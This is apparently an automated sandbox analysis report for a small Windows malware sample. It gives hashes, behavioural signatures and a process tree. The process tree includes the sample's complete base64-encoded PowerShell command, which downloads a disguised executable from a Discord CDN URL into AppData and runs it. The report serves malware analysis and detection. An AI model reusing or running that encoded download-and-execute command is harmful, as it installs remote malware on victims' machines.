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Analysis
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max time kernel
111s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
01/01/2023, 09:33
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
Resource
win10v2004-20220901-en
General
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Target
SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
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Size
6KB
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MD5
cc8f21ae349c24e980957796b2960381
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SHA1
3e4a5550e97dd23cdbc15164ee9c3eae5bd64530
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SHA256
84f4147c587997001ab5038e87e4c2d4ebccd9ca90b5aa7dca4ee6ff0c71ca3c
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SHA512
ae61e6680ee7c095ea13045cbfe47b480ec733f87ea9f1db3e7d7209cfb51e6e0edbfaea9003e39b7b568e3287916a2db6b5c033da4754402b7b6d74e7421995
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SSDEEP
96:1Otr37988CFppBd5tJOvk+K8AYcs8vk+Kipwvzd3ojvrl:1OtX98nFpvd5avk9YsvkGCzdu
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 47 3604 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3604 powershell.exe 3604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3604 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2284 wrote to memory of 3604 2284 SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe 81 PID 2284 wrote to memory of 3604 2284 SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe 81
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcwBoACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAxADQAOAAwADgAOQA5ADEANwA1ADUAMAAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAcABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABjAHkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQApADwAIwBrAHoAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwByAHcAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQByAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQA8ACMAagB1AG0AIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3604
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